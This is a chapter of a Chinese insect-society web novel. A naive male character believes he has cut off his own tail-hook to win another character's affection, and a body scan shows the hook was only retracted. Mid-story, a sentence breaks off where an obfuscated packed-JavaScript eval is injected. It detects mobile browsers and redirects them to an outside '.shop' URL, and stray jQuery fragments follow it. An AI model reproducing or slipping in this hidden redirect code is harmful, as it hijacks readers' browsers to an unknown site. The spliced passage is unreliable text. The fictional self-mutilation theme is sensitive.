蓝色的光线穿透眼皮,思绪渐渐回归,佩特斯朦胧地睁开眼。
这是哪里呀……
“佩特斯阁下,您醒了?”一个机器虫头检测到动静出现在治疗仓外,这是莱德的机器虫管家罗伯特,“您昨天在浴室里睡着了,考虑到您的身体状况,我把您移到了治疗仓里。”
这里是治疗仓啊。佩特斯慢悠悠地从治疗仓里坐起,揉了揉眼,他昨天怎么在浴室里睡着了?
浴室!刀!
尾勾!
记忆回笼,佩特斯瞬间惊地汗毛直立,手急忙摸向尾勾的位置。
然后摸了个空。
没了?
佩特斯扭头,什么也看不见,又伸手默默,什么也没有。
一点都没了??
佩特斯不信邪地又把臀部周围摸了个遍。
克瑞斯玛雌父说的果然对,不会有虫既有雄虫信息素,其实又是雌虫。
他没办法给莱德信息素了。
但是切得这么干净的话,莱德肯定不会讨厌了吧!
而且也没有很疼嘛!
佩特斯摸着几乎毫无痛觉的臀部,如此想到。
感谢终端上的好心雌虫!但是尾勾还是不能给他寄过去的。
话说,他切掉的尾勾哪里去了?他要留给莱德,既然有雌虫想要,万一莱德也想要呢?
“罗伯特。”佩特斯接过罗伯特贴心递来的一杯温水,润了润嗓子,咬着杯口问道,“你见我的尾勾了吗?”
罗伯特的目光落到了佩特斯身后,芯片突然宕机了。
[检测到雄虫阁下身体部位缺少,疑似受到严重伤害]
[系统优先联络雄虫保护协会中]
[……]
[联络失败]
[顺位联络主虫]
[莱德主虫您好,您的雄主疑似受到严重伤害,粗浅检查为尾勾阉割,请您尽快回归雄主身边。]
[联络成功]
[雄虫阁下疑似受到严重伤害,再次紧急联系雄虫保护协会]
[重复尝试]
[……]
“罗伯特,你怎么了?”佩特斯拿着水杯在罗伯特面前晃了晃,腼腆问道,“你有在浴缸里见到我的尾勾吗?”
“没有,佩特斯阁下,很抱歉我没有第一时间发现异样,请您躺进治疗仓里继续治疗,等待救援。”
难道尾勾顺着浴缸下水口流走了?
他的尾勾有那么细吗??
佩特斯挥开罗伯特想让他躺回治疗仓的动作,从仓里跨出来光脚直奔浴室。
然后浴缸里除了有一把菜刀外,空无一物。
难道家务机器虫把浴室清理了?
佩特斯又赶忙跑去家务机器虫充能的地方,拍拍机器虫头顶:“醒醒,你打扫浴室时,有没有见我切下来的尾勾?”
家务机器虫被唤醒,电子豆豆眼中冒出个问号,回应道:“还未到浴室打扫时间,请问需要现在打扫吗?”
啊呀,不是被家务机器虫清理掉的,那尾勾去哪了?
不会有虫偷尾勾吧?佩特斯咬着指甲认真思考。可是房子里外虫也进不来呀?
难道尾勾切下来还会自己跑?
“罗伯特。”佩特斯叫了声好像还在宕机的机器虫管家,道:“你帮我在房子里找一找尾勾吧?”万一尾勾真的会自己跑呢。
“好的,佩特斯阁下。”罗伯特应下,从一楼开始扫描。
佩特斯抬头看向楼上。
顶层是莱德的领地,他还没去过,因为莱德说不要未经允许进他房间。尾勾会不会在那……
不知不觉间,佩特斯的腿自己走到了顶层。入目是很寡淡的装饰,没什么个人标识,甚至还不如莱德在军部的卧室有虫气。
在顶层转了一圈,一无所获,佩特斯把目光放在了最后一间没踏足的卧室门前。
莱德在军部的房间都让他进,这里的房间,肯定也允许他进吧?
而且我是来找尾勾的。
佩特斯小心咽了口唾沫,又给自己叠了层防护buff,小心翼翼地推开了门。
和外面相似的风格,没什么虫气。
也是,莱德很少回来睡,这里对莱德来说,应该和旅馆差不多吧。
佩特斯走进卧室,鬼使神差地在床前站住。好想躺上去啊。
床上好像有莱德的气味。
难道莱德昨天晚上回这里休息了吗?
佩特斯的手不知不觉地摸进被子里,小心翼翼地坐到了床边上,着迷了一样俯下身深嗅被褥。
好想莱德。
佩特斯闭上眼睛,若有若无的气息钻进肺里,好像莱德就躺在旁边。抓着被褥的手一点点缩紧,佩特斯把自己磨蹭到床中央,抱着被褥窝成一团。
好像莱德在抱着自己呀。
佩特斯没注意到的被褥里,尾勾悄悄地钻出来,在床单被褥间兴奋地散发信息素。
突然,楼下响起了“咔嚓”一声门锁打开的声音。
“他虫在哪?”是莱德的声音
莱德怎么回来了!
佩特斯心脏差点从喉咙里蹦出来,身后的尾勾也嗖地一下缩了回去,急急忙忙从床上爬下来,手忙脚乱地把被褥铺好,心虚地推开了门,然后迎面撞上了莱德。
莱德皱眉:“你在我房间做什么?”
找尾勾。佩特斯缩了缩脖子。
“罗伯特说你尾勾阉割了?发生了什么。”
我自己把尾勾切了。
“说话。”
佩特斯:QAQ
“莱德主虫,您的声音分贝有些大。”这时罗伯特尽职尽责地把佩特斯房间的贝贝拿了出来,“检测到您想要和佩特斯阁下交流,您或许需要帮助?”
莱德点头:“需要。”
罗伯特把莱德的要求传输给贝贝,将贝贝放进佩特斯怀里。
贝贝发出安抚孩童的清缓音乐,轻声问道:“佩佩为什么会在这里呀?”
佩特斯低头抱住贝贝,小声道:“我来找尾勾。”
原来这样才能说话?
莱德挑眉,也轻声道:“你的尾勾怎么回事?”为什么到他房间找尾勾?
“我自己切了。”佩特斯道。
这不是能正常交流吗?
但是——切了?
“你把你尾勾切了?”
佩特斯点了点头,转过身掀开自己的衣服。
莱德想非礼勿视,但佩特斯动作太出虫意料,他还是看到了佩特斯的身体,那里确实没有尾勾的痕迹。
不仅没有尾勾,连一丝可疑的伤疤都没有。
莱德闭上眼睛思考现在的情况。
他确定佩特斯之前是有尾勾的,他发情期醒来后……不想这个了,现在佩特斯尾勾没有了,还说是自己切掉了,但身后没有一点疤痕。他还在说什么找尾勾。
莱德拿出终端开始联系其他虫。
“是我,莱德……全套的体检设备,是的。我后遗症很重,医生建议在家也常检查,以防出什么问题。”市面上的体验
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728191|208901||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
仪器一般没有雌雄之分,莱德干脆地借口自己的伤势,找虫买了一全套的体检设备让虫送过来。
尾勾对雄虫来说不是小事,还好他改过罗伯特的系统设置,如果让雄保会知道这件事还真不好处理。
莱德放下终端,目光又落到抱着机器玩偶的佩特斯身上,询问道:“你为什么要切掉尾勾?”
因为莱德不喜欢。
看佩特斯迟迟不回答,莱德只好疲惫地又轻声问一遍。
这次佩特斯有点反应了,只见他唇瓣张开又闭起,磕磕绊绊道:“莱德、不喜欢。”
“我什么时候说过?”莱德反问。虽然他确实不喜欢。
“莱德,讨厌雄虫。”佩特斯回答道。难道讨厌雄虫不是讨厌尾勾吗?
“……所以你就想把尾勾切了?”
“嗯!”佩特斯用力点头。
麻烦更大了,这责任怎么问着问着全赖他头上了?莱德低头扶额,半天抬起头,无语道:“为什么我讨厌雄虫,你会想把尾勾切了?”
“能变雌虫。”佩特斯弱弱道。
为什么要变雌虫?
变成雌虫,是想要我不讨厌你吗?
就因为这个?
莱德莫名感到一种让虫头疼的熟悉感。
好像卓柏在轻碰他的衣角,流着泪细声道,“求求你了,不要讨厌我。我好疼。”
他好像有点魔怔了。莱德苦笑着晃了晃脑袋,试图把画面从自己脑子里甩出去。
“谁跟你说切掉尾勾就能变雌虫的?”莱德道。
佩特斯小心地指了指莱德手上的终端,瓮声道:“终端上,问虫,说的。”
成,这事儿要是败露了,还有其他倒霉虫要遭殃,莱德要来了佩特斯的终端,打算先看看他在终端上都问了什么。
还没细看,门铃响了,是送检查仪器的,效率非常之高。送走了安装仪器的虫,莱德便让佩特斯躺了进去。
最后出来的检查结果让莱德松了一口气。
仪器的屏幕上,显示这只雄虫的尾勾从尾椎出发,紧贴着脊椎旁的空隙。
尾勾果然还在。毕竟现场没有留下任何血迹,尾勾凭空消失也不太现实。
原来是收进了体内。
雄虫居然也会把虫化的部分收进去?莱德疑惑了片刻,但很快就放下了。雄虫能不能收跟他又有什么关系。
“没事了。”莱德回神,看到佩特斯目不转睛盯着他的眼睛,错开目光道,“出来吧。”
佩特斯听话地起身,试探道:“莱德,不高兴?”
“没有。”莱德道。他甚至松了口气,如果佩特斯真把自己搞出什么毛病来,倒霉的是他。“以后别做伤害自己的事。”
莱德是在关心他吗?佩特斯眼睛睁大了些,尽管在黑色胎记的遮挡下并不明显,莱德是要重新喜欢他吗?
“尾勾不见了,”佩特斯有些小窃喜地问道,“不讨厌了?”
“休息去吧。”莱德没忍心回答佩特斯的问题,他的良心让他的声音温和了一些。
“明天见?”佩特斯歪脑袋。
“嗯。”莱德含糊地应了一声。
佩特斯却以为是喜欢他的莱德回来了,听话地欢天喜地回房间了。
看着佩特斯下楼的背影,莱德神色复杂。
雄虫敢把尾勾切掉,这是很豁的出去。
但这并不能打动刚失去爱虫的莱德。
他不能和佩特斯多相处。莱德心想,他怕他真的会神志不清把卓柏和佩特斯搞混。